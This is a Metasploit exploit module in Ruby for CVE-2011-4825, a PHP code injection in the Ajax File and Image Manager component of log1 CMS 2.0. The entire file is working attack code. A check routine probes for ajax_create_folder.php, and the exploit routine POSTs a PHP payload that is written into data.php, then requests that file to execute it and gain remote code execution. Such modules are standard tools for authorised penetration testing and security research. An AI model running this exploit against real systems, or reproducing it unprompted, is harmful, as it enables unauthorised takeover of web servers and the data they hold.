##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
      'Description'    => %q{
          This module exploits the "Ajax File and Image Manager" component that can be
        found in log1 CMS.  In function.base.php of this component, the 'data' parameter
        in writeInfo() allows any malicious user to have direct control of writing data
        to file data.php, which results in arbitrary remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',     #Found the bug in ajax_create_folder.php
          'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
          'sinn3r'    #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-4825'],
          ['OSVDB', '76928'],
          ['EDB', '18075'],  #Egix's advisory
          ['EDB', '18151']   #Adel's
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['log1 CMS 2.0', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-04-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
      ])
  end


  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php")
    })

    if res and res.code == 200
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    peer = "#{rhost}:#{rport}"
    php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

    print_status("Sending PHP payload (#{php.length.to_s} bytes)")
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"),
      'data'   => php
    })

    print_status("Requesting data.php")
    send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php')
    })

    handler
  end
end
